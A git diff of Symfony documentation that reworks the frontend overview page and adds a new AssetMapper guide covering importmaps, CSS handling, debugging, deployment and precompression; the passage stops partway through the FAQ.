Encore, use the following steps to +switch. This is best done on a new project and provides the same features (Turbo/Stimulus) +as the default webapp. -Getting Started -............... +.. code-block:: terminal -* :doc:`Installation </frontend/encore/installation>` -* :doc:`First Example </frontend/encore/simple-example>` + # Remove AssetMapper & Turbo/Stimulus temporarily + $ composer remove symfony/ux-turbo symfony/asset-mapper symfony/stimulus-bundle -Adding more Features -.................... + # Add Webpack Encore & Turbo/Stimulus back + $ composer require symfony/webpack-encore-bundle symfony/ux-turbo symfony/stimulus-bundle -* :doc:`CSS Preprocessors: Sass, LESS, etc </frontend/encore/css-preprocessors>` -* :doc:`PostCSS and autoprefixing </frontend/encore/postcss>` -* :doc:`Enabling React.js </frontend/encore/reactjs>` -* :doc:`Enabling Vue.js (vue-loader) </frontend/encore/vuejs>` -* :doc:`/frontend/encore/copy-files` -* :doc:`Configuring Babel </frontend/encore/babel>` -* :doc:`Source maps </frontend/encore/sourcemaps>` -* :doc:`Enabling TypeScript (ts-loader) </frontend/encore/typescript>` + # Install & Build Assets + $ npm install + $ npm run dev -Optimizing -.......... +Stimulus & Symfony UX Components +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -* :doc:`Versioning (and the entrypoints.json/manifest.json files) </frontend/encore/versioning>` -* :doc:`Using a CDN </frontend/encore/cdn>` -* :doc:`/frontend/encore/code-splitting` -* :doc:`/frontend/encore/split-chunks` -* :doc:`Creating a "Shared" entry for re-used modules </frontend/encore/shared-entry>` -* :doc:`/frontend/encore/url-loader` +Once you've installed AssetMapper or Webpack Encore, it's time to start building your +front-end. You can write your JavaScript however you want, but we recommend +using `Stimulus`_, `Turbo`_ and a set of tools called `Symfony UX`_. -Guides -...... +To learn about Stimulus & the UX Components, see +the `StimulusBundle Documentation`_ -* :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>` -* :doc:`Creating Page-Specific CSS/JS </frontend/encore/page-specific-assets>` -* :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>` -* :doc:`Passing Information from Twig to JavaScript </frontend/encore/server-data>` -* :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>` -* :doc:`Adding custom loaders & plugins </frontend/encore/custom-loaders-plugins>` -* :doc:`Advanced Webpack Configuration </frontend/encore/advanced-config>` -* :doc:`Using Encore in a Virtual Machine </frontend/encore/virtual-machine>` +.. _frontend-js: -Issues & Questions -.................. +Using a Front-end Framework (React, Vue, Svelte, etc) +----------------------------------------------------- -* :doc:`FAQ & Common Issues </frontend/encore/faq>` +.. screencast:: -Full API -........ + Do you prefer video tutorials? Check out the `API Platform screencast series`_. -* `Full API`_ +If you want to use a front-end framework (Next.js, React, Vue, Svelte, etc), +we recommend using their native tools and using Symfony as a pure API. A wonderful +tool to do that is `API Platform`_. Their standard distribution comes with a +Symfony-powered API backend, frontend scaffolding in Next.js (other frameworks +are also supported) and a React admin interface. It comes fully Dockerized and even +contains a web server. Other Front-End Articles ------------------------ -.. toctree:: - :hidden: - :glob: - - frontend/assetic/index - frontend/encore/installation - frontend/encore/simple-example - frontend/encore/* - -.. toctree:: - :maxdepth: 1 - :glob: - - frontend/* +* :doc:`/frontend/create_ux_bundle` +* :doc:`/frontend/custom_version_strategy` +* :doc:`/frontend/server-data` .. _`Webpack Encore`: https://www.npmjs.com/package/@symfony/webpack-encore .. _`Webpack`: https://webpack.js.org/ -.. _`Webpacker`: https://github.com/rails/webpacker -.. _`Mix`: https://laravel.com/docs/mix -.. _`Symfony`: https://symfony.com/ -.. _`Full API`: https://github.com/symfony/webpack-encore/blob/master/index.js +.. _`Node.js`: https://nodejs.org/ .. _`Webpack Encore screencast series`: https://symfonycasts.com/screencast/webpack-encore +.. _`StimulusBundle Documentation`: https://symfony.com/bundles/StimulusBundle/current/index.html +.. _`Stimulus/UX`: https://symfony.com/bundles/StimulusBundle/current/index.html +.. _`Stimulus`: https://stimulus.hotwired.dev/ +.. _`Turbo`: https://turbo.hotwired.dev/ +.. _`Symfony UX`: https://ux.symfony.com +.. _`API Platform`: https://api-platform.com/ +.. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle +.. _`AssetMapper screencast series`: https://symfonycasts.com/screencast/asset-mapper +.. _`API Platform screencast series`: https://symfonycasts.com/screencast/api-platform +.. _`CssMinimizerPlugin`: https://webpack.js.org/plugins/css-minimizer-webpack-plugin diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst new file mode 100644 index 00000000000..912f645bf6a --- /dev/null +++ b/frontend/asset_mapper.rst @@ -0,0 +1,1345 @@ +AssetMapper: Simple, Modern CSS & JS Management +=============================================== + +The AssetMapper component lets you write modern JavaScript and CSS without the complexity +of using a bundler. Browsers *already* support many modern JavaScript features +like the ``import`` statement and ES6 classes. And the HTTP/2 protocol means that +combining your assets to reduce HTTP connections is no longer urgent. This component +is a light layer that helps serve your files directly to the browser. + +The component has two main features: + +* :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/`` + are made available publicly and **versioned**. You can reference the file + ``assets/images/product.jpg`` in a Twig template with ``{{ asset('images/product.jpg') }}``. + The final URL will include a version hash, like ``/assets/images/product-3c16d92m.jpg``. + +* :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier + to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``) + without a build system. It's supported in all browsers (thanks to a shim) + and is part of the `HTML standard <https://html.spec.whatwg.org/multipage/webappapis.html#import-maps>`_. + +Installation +------------ + +To install the AssetMapper component, run: + +.. code-block:: terminal + + $ composer require symfony/asset-mapper symfony/asset symfony/twig-pack + +In addition to ``symfony/asset-mapper``, this also makes sure that you have the +:doc:`Asset Component </components/asset>` and Twig available. + +If you're using :ref:`Symfony Flex <symfony-flex>`, you're done! The recipe just +added a number of files: + +* ``assets/app.js`` Your main JavaScript file; +* ``assets/styles/app.css`` Your main CSS file; +* ``config/packages/asset_mapper.yaml`` Where you define your asset "paths"; +* ``importmap.php`` Your importmap config file. + +It also *updated* the ``templates/base.html.twig`` file: + +.. code-block:: diff + + {% block javascripts %} + + {% block importmap %}{{ importmap('app') }}{% endblock %} + {% endblock %} + +If you're not using Flex, you'll need to create & update these files manually. See +the `latest asset-mapper recipe`_ for the exact content of these files. + +.. _mapping-assets: + +Mapping and Referencing Assets +------------------------------ + +The AssetMapper component works by defining directories/paths of assets that you want to expose +publicly. These assets are then versioned and easy to reference. Thanks to the +``asset_mapper.yaml`` file, your app starts with one mapped path: the ``assets/`` +directory. + +If you create an ``assets/images/duck.png`` file, you can reference it in a template with: + +.. code-block:: html+twig + + <img src="{{ asset('images/duck.png') }}"> + +The path - ``images/duck.png`` - is relative to your mapped directory (``assets/``). +This is known as the **logical path** to your asset. + +If you look at the HTML in your page, the URL will be something +like: ``/assets/images/duck-3c16d92m.png``. If you change +the file, the version part of the URL will also change automatically. + +.. _asset-mapper-compile-assets: + +Serving Assets in dev vs prod +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +In the ``dev`` environment, the URL ``/assets/images/duck-3c16d92m.png`` +is handled and returned by your Symfony app. + +For the ``prod`` environment, before deploy, you should run: + +.. code-block:: terminal + + $ php bin/console asset-map:compile + +This will physically copy all the files from your mapped directories to +``public/assets/`` so that they're served directly by your web server. +See :ref:`Deployment <asset-mapper-deployment>` for more details. + +.. warning:: + + If you run the ``asset-map:compile`` command on your development machine, + you won't see any changes made to your assets when reloading the page. + To resolve this, delete the contents of the ``public/assets/`` directory. + This will allow your Symfony application to serve those assets dynamically again. + +.. tip:: + + If you need to copy the compiled assets to a different location (e.g. upload + them to S3), create a service that implements ``Symfony\Component\AssetMapper\Path\PublicAssetsFilesystemInterface`` + and set its service id (or an alias) to ``asset_mapper.local_public_assets_filesystem`` + (to replace the built-in service). + +Debugging: Seeing All Mapped Assets +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +To see all of the mapped assets in your app, run: + +.. code-block:: terminal + + $ php bin/console debug:asset-map + +This will show you all the mapped paths and the assets inside of each: + +.. code-block:: text + + AssetMapper Paths + ------------------ + + --------- ------------------ + Path Namespace prefix + --------- ------------------ + assets + + Mapped Assets + ------------- + + ------------------ ---------------------------------------------------- + Logical Path Filesystem Path + ------------------ ---------------------------------------------------- + app.js assets/app.js + styles/app.css assets/styles/app.css + images/duck.png assets/images/duck.png + +The "Logical Path" is the path to use when referencing the asset, like +from a template. + +The ``debug:asset-map`` command provides several options to filter results: + +.. code-block:: terminal + + # provide an asset name or dir to only show results that match it + $ php bin/console debug:asset-map bootstrap.js + $ php bin/console debug:asset-map style/ + + # provide an extension to only show that file type + $ php bin/console debug:asset-map --ext=css + + # you can also only show assets in vendor/ dir or exclude any results from it + $ php bin/console debug:asset-map --vendor + $ php bin/console debug:asset-map --no-vendor + + # you can also combine all filters (e.g. find bold web fonts in your own asset dirs) + $ php bin/console debug:asset-map bold --no-vendor --ext=woff2 + +.. versionadded:: 7.2 + + The options to filter ``debug:asset-map`` results were introduced in Symfony 7.2. + +.. _importmaps-javascript: + +Importmaps & Writing JavaScript +------------------------------- + +All modern browsers support the JavaScript `import statement`_ and modern +`ES6`_ features like classes. So this code "just works": + +.. code-block:: javascript + + // assets/app.js + import Duck from './duck.js'; + + const duck = new Duck('Waddles'); + duck.quack(); + +.. code-block:: javascript + + // assets/duck.js + export default class { + constructor(name) { + this.name = name; + } + quack() { + console.log(`${this.name} says: Quack!`); + } + } + +Thanks to the ``{{ importmap('app') }}`` Twig function call, which you'll learn about in +this section, the ``assets/app.js`` file is loaded & executed by the browser. + +.. tip:: + + When importing relative files, be sure to include the ``.js`` filename extension. + Unlike in Node.js, this extension is required in the browser environment. + +Importing 3rd Party JavaScript Packages +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Suppose you want to use an `npm package`_, like `bootstrap`_. Technically, +this can be done by importing its full URL, like from a CDN: + +.. code-block:: javascript + + import { Alert } from 'https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/+esm'; + +But yikes! Needing to include that URL is a pain! Instead, we can add this package +to our "importmap" via the ``importmap:require`` command. This command can be used +to add any `npm package`_: + +.. code-block:: terminal + + $ php bin/console importmap:require bootstrap + +.. tip:: + + Add the ``--dry-run`` option to simulate package installation without actually + making any changes (e.g. ``php bin/console importmap:require bootstrap --dry-run``) + + .. versionadded:: 7.3 + + The ``--dry-run`` option was introduced in Symfony 7.3. + +This adds the ``bootstrap`` package to your ``importmap.php`` file:: + + // importmap.php + return [ + 'app' => [ + 'path' => './assets/app.js', + 'entrypoint' => true, + ], + 'bootstrap' => [ + 'version' => '5.3.0', + ], + ]; + +.. note:: + + Sometimes, a package - like ``bootstrap`` - will have one or more dependencies, + such as ``@popperjs/core``. The ``importmap:require`` command will add both the + main package *and* its dependencies. If a package includes a main CSS file, + that will also be added (see :ref:`Handling 3rd-Party CSS <asset-mapper-3rd-party-css>`). + +.. note:: + + If you get a 404 error, there might be some issue with the JavaScript package + that prevents it from being served by the ``jsDelivr`` CDN. For example, the + package might be missing properties like ``main`` or ``module`` in its + `package.json configuration file`_. Try to contact the package maintainer to + ask them to fix those issues. + +.. tip:: + + If you see a network error like *Connection was reset for "https://cdn.jsdelivr.net/npm/..."*, + it may be caused by a proxy or firewall restriction. In that case, you can + temporarily configure a proxy to connect to the ``jsDelivr`` CDN: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + # ... + http_client: + default_options: + proxy: '185.250.180.238:8080' + # if you use CURL, add extra options: + extra: + curl: + # 61 is value of constant CURLOPT_HTTPPROXYTUNNEL + '61': true + +Now you can import the ``bootstrap`` package like usual: + +.. code-block:: javascript + + import { Alert } from 'bootstrap'; + // ... + +All packages in ``importmap.php`` are downloaded into an ``assets/vendor/`` directory, +which should be ignored by git (the Flex recipe adds it to ``.gitignore`` for you). +You'll need to run the following command to download the files on other computers +if some are missing: + +.. code-block:: terminal + + $ php bin/console importmap:install + +You can update your third-party packages to their current versions by running: + +.. code-block:: terminal + + # lists outdated packages and shows their latest versions + $ php bin/console importmap:outdated + # updates all the outdated packages + $ php bin/console importmap:update + + # you can also run the commands only for the given list of packages + $ php bin/console importmap:update bootstrap lodash + $ php bin/console importmap:outdated bootstrap lodash + +Removing JavaScript Packages +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you need to remove a JavaScript package that was previously added to your +``importmap.php`` file, use the ``importmap:remove`` command. For example, to +remove the ``lodash`` package: + +.. code-block:: terminal + + $ php bin/console importmap:remove lodash + +This updates your ``importmap.php`` file and removes the specified package +(along with any dependencies that were added with it). + +After running this command, it's recommended to also run the following to ensure +that your ``assets/vendor/`` directory is in sync with the updated import map: + +.. code-block:: terminal + + $ php bin/console importmap:install + +.. tip:: + + Removing a package from the import map does not automatically remove any + references to it in your JavaScript files. Make sure to update your code and + remove any ``import`` statements that reference the removed package. + +How does the importmap Work? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +How does this ``importmap.php`` file allow you to import ``bootstrap``? That's +thanks to the ``{{ importmap() }}`` Twig function in ``base.html.twig``, which +outputs an `importmap`_: + +.. code-block:: html + + <script type="importmap">{ + "imports": { + "app": "/assets/app-4e986c1a.js", + "/assets/duck.js": "/assets/duck-1b7a64b3.js", + "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f093544d.js" + } + }</script> + +Import maps are a native browser feature. When you import ``bootstrap`` from +JavaScript, the browser will look at the ``importmap`` and see that it should +fetch the package from the associated path. + +.. _automatic-import-mapping: + +But where did the ``/assets/duck.js`` import entry come from? That doesn't live +in ``importmap.php``. Great question! + +The ``assets/app.js`` file above imports ``./duck.js``. When you import a file using a +relative path, your browser looks for that file relative to the one importing +it. So, it would look for ``/assets/duck.js``. That URL *would* be correct, +except that the ``duck.js`` file is versioned. Fortunately, the AssetMapper component +sees the import and adds a mapping from ``/assets/duck.js`` to the correct, versioned +filename. The result: importing ``./duck.js`` just works! + +The ``importmap()`` function also outputs an `ES module shim`_ so that +`older browsers <https://caniuse.com/import-maps>`_ understand importmaps +(see the :ref:`polyfill config <config-importmap-polyfill>`). + +.. _app-entrypoint: + +The "app" Entrypoint & Preloading +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +An "entrypoint" is the main JavaScript file that the browser loads, +and your app starts with one by default:: + + // importmap.php + return [ + 'app' => [ + 'path' => './assets/app.js', + 'entrypoint' => true, + ], + // ... + ]; + +.. _importmap-app-entry: + +In addition to the importmap, the ``{{ importmap('app') }}`` in +``base.html.twig`` outputs a few other things, including: + +.. code-block:: html + + <script type="module">import 'app';</script> + +This line tells the browser to load the ``app`` importmap entry, which causes the +code in ``assets/app.js`` to be executed. + +The ``importmap()`` function also outputs a set of "preloads": + +.. code-block:: html + + <link rel="modulepreload" href="/assets/app-4e986c1a.js"> + <link rel="modulepreload" href="/assets/duck-1b7a64b3.js"> + +This is a performance optimization and you can learn more about below +in :ref:`Performance: Add Preloading <performance-preloading>`. + +Importing Specific Files From a 3rd Party Package +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Sometimes you'll need to import a specific file from a package. For example, +suppose you're integrating `highlight.js`_ and want to import just the core +and a specific language: + +.. code-block:: javascript + + import hljs from 'highlight.js/lib/core'; + import javascript from 'highlight.js/lib/languages/javascript'; + + hljs.registerLanguage('javascript', javascript); + hljs.highlightAll(); + +In this case, adding the ``highlight.js`` package to your ``importmap.php`` file +won't work: whatever you import - e.g. ``highlight.js/lib/core`` - needs to +*exactly* match an entry in the ``importmap.php`` file. + +Instead, use ``importmap:require`` and pass it the exact paths you need. This +also shows how you can require multiple packages at once: + +.. code-block:: terminal + + $ php bin/console importmap:require highlight.js/lib/core highlight.js/lib/languages/javascript + +Global Variables like jQuery +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You might be accustomed to relying on global variables - like jQuery's ``$`` +variable: + +.. code-block:: javascript + + // assets/app.js + import 'jquery'; + + // app.js or any other file + $('.something').hide(); // WILL NOT WORK! + +But in a module environment (like with AssetMapper), when you import +a library like ``jquery``, it does *not* create a global variable. Instead, you +should import it and set it to a variable in *every* file you need it: + +.. code-block:: javascript + + import $ from 'jquery'; + $('.something').hide(); + +You can even do this from an inline script tag: + +.. code-block:: html + + <script type="module"> + import $ from 'jquery'; + $('.something').hide(); + </script> + +If you *do* need something to become a global variable, you do it manually +from inside ``app.js``: + +.. code-block:: javascript + + import $ from 'jquery'; + // things on "window" become global variables + window.$ = $; + +.. _asset-mapper-handling-css: + +Handling CSS +------------ + +CSS can be added to your page by importing it from a JavaScript file. The default +``assets/app.js`` already imports ``assets/styles/app.css``: + +.. code-block:: javascript + + // assets/app.js + import '../styles/app.css'; + + // ... + +When you call ``importmap('app')`` in ``base.html.twig``, AssetMapper parses +``assets/app.js`` (and any JavaScript files that it imports) looking for ``import`` +statements for CSS files. The final collection of CSS files is rendered onto +the page as ``link`` tags in the order they were imported. + +.. note:: + + Importing a CSS file is *not* something that is natively supported by + JavaScript modules. AssetMapper makes this work by adding a special importmap + entry for each CSS file. These special entries are valid, but do nothing. + AssetMapper adds a ``<link>`` tag for each CSS file, but when JavaScript + executes the ``import`` statement, nothing additional happens. + +.. _asset-mapper-3rd-party-css: + +Handling 3rd-Party CSS +~~~~~~~~~~~~~~~~~~~~~~ + +Sometimes a JavaScript package will contain one or more CSS files. For example, +the ``bootstrap`` package has a `dist/css/bootstrap.min.css file`_. + +You can require CSS files in the same way as JavaScript files: + +.. code-block:: terminal + + $ php bin/console importmap:require bootstrap/dist/css/bootstrap.min.css + +To include it on the page, import it from a JavaScript file: + +.. code-block:: javascript + + // assets/app.js + import 'bootstrap/dist/css/bootstrap.min.css'; + + // ... + +.. tip:: + + Some packages - like ``bootstrap`` - advertise that they contain a CSS + file. In those cases, when you ``importmap:require bootstrap``, the + CSS file is also added to ``importmap.php`` for convenience. If some package + doesn't advertise its CSS file in the ``style`` property of the + `package.json configuration file`_ try to contact the package maintainer to + ask them to add that. + +Paths Inside of CSS Files +~~~~~~~~~~~~~~~~~~~~~~~~~ + +From inside CSS, you can reference other files using the normal CSS ``url()`` +function and a relative path to the target file: + +.. code-block:: css + + /* assets/styles/app.css */ + .quack { + /* file lives at assets/images/duck.png */ + background-image: url('../images/duck.png'); + } + +The path in the final ``app.css`` file will automatically include the versioned URL +for ``duck.png``: + +.. code-block:: css + + /* public/assets/styles/app-3c16d92m.css */ + .quack { + background-image: url('../images/duck-3c16d92m.png'); + } + +.. _asset-mapper-tailwind: + +Using Tailwind CSS +~~~~~~~~~~~~~~~~~~ + +To use the `Tailwind`_ CSS framework with the AssetMapper component, check out +`symfonycasts/tailwind-bundle`_. + +.. _asset-mapper-sass: + +Using Sass +~~~~~~~~~~ + +To use Sass with AssetMapper component, check out `symfonycasts/sass-bundle`_. + +Lazily Importing CSS from a JavaScript File +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you have some CSS that you want to load lazily, you can do that via +the normal, "dynamic" import syntax: + +.. code-block:: javascript + + // assets/any-file.js + import('./lazy.css'); + + // ... + +In this case, ``lazy.css`` will be downloaded asynchronously and then added to +the page. If you use a dynamic import to lazily-load a JavaScript file and that +file imports a CSS file (using the non-dynamic ``import`` syntax), that CSS file +will also be downloaded asynchronously. + +Issues and Debugging +-------------------- + +There are a few common errors and problems you might run into. + +Missing importmap Entry +~~~~~~~~~~~~~~~~~~~~~~~ + +One of the most common errors will come from your browser's console, and +will look something like this: + + Failed to resolve module specifier " bootstrap". Relative references must start + with either "/", "./", or "../". + +Or: + + The specifier "bootstrap" was a bare specifier, but was not remapped to anything. + Relative module specifiers must start with "./", "../" or "/". + +This means that, somewhere in your JavaScript, you're importing a 3rd party +package - e.g. ``import 'bootstrap'``. The browser tries to find this +package in your ``importmap`` file, but it's not there. + +The fix is almost always to add it to your ``importmap``: + +.. code-block:: terminal + + $ php bin/console importmap:require bootstrap + +.. note:: + + Some browsers, like Firefox, show *where* this "import" code lives, while + others like Chrome currently do not. + +404 Not Found for a JavaScript, CSS or Image File +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Sometimes a JavaScript file you're importing (e.g. ``import './duck.js'``), +or a CSS/image file you're referencing won't be found, and you'll see a 404 +error in your browser's console. You'll also notice that the 404 URL is missing +the version hash in the filename (e.g. a 404 to ``/assets/duck.js`` instead of +a path like ``/assets/duck-1b7a64b3.js``). + +This is usually because the path is wrong. If you're referencing the file +directly in a Twig template: + +.. code-block:: html+twig + + <img src="{{ asset('images/duck.png') }}"> + +Then the path that you pass ``asset()`` should be the "logical path" to the +file. Use the ``debug:asset-map`` command to see all valid logical paths +in your app. + +More likely, you're importing the failing asset from a CSS file (e.g. +``@import url('other.css')``) or a JavaScript file: + +.. code-block:: javascript + + // assets/controllers/farm-controller.js + import '../farm/chicken.js'; + +When doing this, the path should be *relative* to the file that's importing it +(and, in JavaScript files, should start with ``./`` or ``../``). In this case, +``../farm/chicken.js`` would point to ``assets/farm/chicken.js``. To +see a list of *all* invalid imports in your app, run: + +.. code-block:: terminal + + $ php bin/console cache:clear + $ php bin/console debug:asset-map + +Any invalid imports will show up as warnings on top of the screen (make sure +you have ``symfony/monolog-bundle`` installed): + +.. code-block:: text + + WARNING [asset_mapper] Unable to find asset "../images/ducks.png" referenced in "assets/styles/app.css". + WARNING [asset_mapper] Unable to find asset "./ducks.js" imported from "assets/app.js". + +Missing Asset Warnings on Commented-out Code +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The AssetMapper component looks in your JavaScript files for ``import`` lines so +that it can :ref:`automatically add them to your importmap <automatic-import-mapping>`. +This is done via regex and works very well, though it isn't perfect. If you +comment-out an import, it will still be found and added to your importmap. That +doesn't harm anything, but could be surprising. + +If the imported path cannot be found, you'll see warning log when that asset +is being built, which you can ignore. + +.. _asset-mapper-deployment: + +Deploying with the AssetMapper Component +---------------------------------------- + +When you're ready to deploy, "compile" your assets by running this command: + +.. code-block:: terminal + + $ php bin/console asset-map:compile + +This will write all your versioned asset files into the ``public/assets/`` directory, +along with a few JSON files (``manifest.json``, ``importmap.json``, etc.) so that +the ``importmap`` can be rendered lightning fast. + +.. _optimization: + +Optimizing Performance +---------------------- + +To make your AssetMapper-powered site fly, there are a few things you need to +do. If you want to take a shortcut, you can use a service like `Cloudflare`_, +which will automatically do most of these things for you: + +- **Use HTTP/2**: Your web server should be running HTTP/2 or HTTP/3 so the + browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy + and can be activated in Nginx and Apache. Or, proxy your site through a + service like Cloudflare, which will automatically enable HTTP/2 for you. + +- **Compress your assets**: Your web server should compress (e.g. using gzip) + your assets (JavaScript, CSS, images) before sending them to the browser. This + is automatically enabled in Caddy and can be activated in Nginx and Apache. + In Cloudflare, assets are compressed by default. AssetMapper also supports + :ref:`precompressing your web assets <performance-precompressing>` to further + improve performance. + +- **Set long-lived cache expiry**: Your web server should set a long-lived + ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version + hash in the filename of each asset, you can safely set ``max-age`` + to a very long time (e.g. 1 year). This isn't automatic in + any web server, but can be easily enabled. + +Once you've done these things, you can use a tool like `Lighthouse`_ to +check the performance of your site. + +.. _performance-preloading: + +Performance: Understanding Preloading +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +One issue that Lighthouse may report is: + + Avoid Chaining Critical Requests + +To understand the problem, imagine this theoretical setup: + +- ``assets/app.js`` imports ``./duck.js`` +- ``assets/duck.js`` imports ``bootstrap`` + +Without preloading, when the browser downloads the page, the following would happen: + +1. The browser downloads ``assets/app.js``; +2. It *then* sees the ``./duck.js`` import and downloads ``assets/duck.js``; +3. It *then* sees the ``bootstrap`` import and downloads ``assets/bootstrap.js``. + +Instead of downloading all 3 files in parallel, the browser would be forced to +download them one-by-one as it discovers them. That would hurt performance. + +AssetMapper avoids this problem by outputting "preload" ``link`` tags. +The logic works like this: + +**A) When you call ``importmap('app')`` in your template**, the AssetMapper component +looks at the ``assets/app.js`` file and finds all of the JavaScript files +that it imports or files that those files import, etc. + +**B) It then outputs a ``link`` tag** for each of those files with a ``rel="preload"`` +attribute. This tells the browser to start downloading those files immediately, +even though it hasn't yet seen the ``import`` statement for them. + +Additionally, if the :doc:`WebLink Component </web_link>` is available in your application, +Symfony will add a ``Link`` header in the response to preload the CSS files. + +.. _performance-precompressing: + +Pre-Compressing Assets +---------------------- + +.. versionadded:: 7.3 + + Support for pre-compressing assets was introduced in Symfony 7.3. + +Although most web servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare +provide asset compression features, AssetMapper also allows you to compress all +your assets before serving them. + +This improves performance because you can compress assets using the highest (and +slowest) compression ratios beforehand and provide those compressed assets to the +server, which then returns them to the client without wasting CPU resources on +compression. + +AssetMapper supports `Brotli`_, `Zstandard`_ and `gzip`_ compression formats. +Before using any of them, the machine that pre-compresses assets must have +installed the following PHP extensions or CLI commands: + +* Brotli: ``brotli`` CLI command; `brotli PHP extension`_; +* Zstandard: ``zstd`` CLI command; `zstd PHP extension`_; +* gzip: ``zopfli`` (better) or ``gzip`` CLI command; `zlib PHP extension`_. + +Then, update your AssetMapper configuration to define which compression to use +and which file extensions should be compressed: + +.. code-block:: yaml + + # config/packages/asset_mapper.yaml + framework: + asset_mapper: + # ... + + precompress: + # possible values: 'brotli', 'zstandard', 'gzip' + format: 'zstandard' + + # you can also pass multiple values to generate files in several formats + # format: ['brotli', 'zstandard'] + + # if you don't define the following option, AssetMapper will compress all + # the extensions considered safe (css, js, json, svg, xml, ttf, otf, wasm, etc.) + extensions: ['css', 'js', 'json', 'svg', 'xml'] + +Now, when running the ``asset-map:compile`` command, all matching files will be +compressed in the configured format and at the highest compression level. The +compressed files are created with the same name as the original but with the +``.br``, ``.zst``, or ``.gz`` extension appended. + +Then, you need to configure your web server to serve the precompressed assets +instead of the original ones: + +.. configuration-block:: + + .. code-block:: caddy + + file_server { + precompressed br zstd gzip + } + + .. code-block:: nginx + + gzip_static on; + + # Requires https://github.com/google/ngx_brotli + brotli_static on; + + # Requires https://github.com/tokers/zstd-nginx-module + zstd_static on; + +.. tip:: + + AssetMapper provides an ``assets:compress`` CLI command and a service called + ``asset_mapper.compressor`` that you can use anywhere in your application to + compress any kind of files (e.g. files uploaded by users to your application). + +Frequently Asked Questions +-------------------------- + +Does the AssetMapper Component Combine Assets? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Nope! But that's because this is no longer necessary! + +In the past, it was common to combine assets to reduce the number of HTTP +requests that were made. Thanks to advances in web servers like +HTTP/2, it's typically not a problem to keep your assets separate and let the +browser download them in parallel. In fact, by keeping them separate, when +you update one asset, the browser can continue to use the cached version of +all of your other assets. + +See :ref:`Optimization <optimization>` for more details. + +Does the AssetMapper Component Minify Assets? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Nope! In most cases, this is perfectly fine. The web asset compression performed +by web servers before sending them is usually sufficient. However, if you think +you could benefit from minifying assets (in addition to later compressing them), +you can use the `SensioLabs Minify Bundle`_. + +This bundle integrates seamlessly with AssetMapper and minifies all web assets +automatically when running the ``asset-map:compile`` command (as explained in +the :ref:`serving assets in production <asset-mapper-compile-assets>` section). + +See :ref:`Optimization <optimization>` for more details. + +Is the AssetMapper Component Production Ready? Is it Performant? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Yes! Very! The AssetMapper component leverages advances in browser technology (like +importmaps and native ``import`` support) and web servers (like HTTP/2, which allows +assets to be downloaded in parallel). See the other questions about minimization +and combination and :ref:`Optimization <optimization>` for more details. + +The https://ux.symfony.com site runs on the AssetMapper component and has a 99% +Google Lighthouse score. + +Does the AssetMapper Component work in All Browsers? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Yes! Features like importmaps and the ``import`` statement are supported +in all modern browsers, but the AssetMapper component ships with an `ES module shim`_ +to support ``importmap`` in old browsers. So, it works everywhere (see note +below). + +Inside your own code, if you're relying on modern `ES6`_ JavaScript features +like the `class syntax`_, this is supported in all but the oldest browsers. +If you *do* need to support very old browsers, you should use a tool like +:ref:`Encore <frontend-webpack-encore>` instead of the AssetMapper component. + +.. note:: + + The `import statement`_ can't be polyfilled or shimmed to work on *every* + browser. However, only the **oldest** browsers don't support it - basically + IE 11 (which is no longer supported by Microsoft and has less than .4% + of global usage). + + The ``importmap`` feature **is** shimmed to work in **all** browsers by the + AssetMapper component. However, the shim doesn't work with "dynamic" imports: + + .. code-block:: javascript + + // this works + import { add } from './math.js'; + + // this will not work in the oldest browsers + import('./math.js').then(({ add }) => { + // ... + }); + + If you want to use dynamic imports and need to support certain older browsers + (https://caniuse.com/import-maps), you can use an ``importShim()`` function + from the shim: https://www.npmjs.com/package/es-module-shims#user-content-polyfill-edge-case-dynamic-import + +Can I Use it with Sass or Tailwind? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Sure! See :ref:`Using Tailwind CSS <asset-mapper-tailwind>` or :ref:`Using Sass <asset-mapper-sass>`. + +Can I Use it with TypeScript? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Sure! See :ref:`Using TypeScript <asset-mapper-ts>`. + +Can I Use it with JSX or Vue? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Probably not. And if you're writing an application in React, Svelte or another +frontend framework, you'll probably be better off using *their* tools directly. + +JSX *can* be compiled directly to a native JavaScript file but if you're using a lot of JSX, +you'll probably want 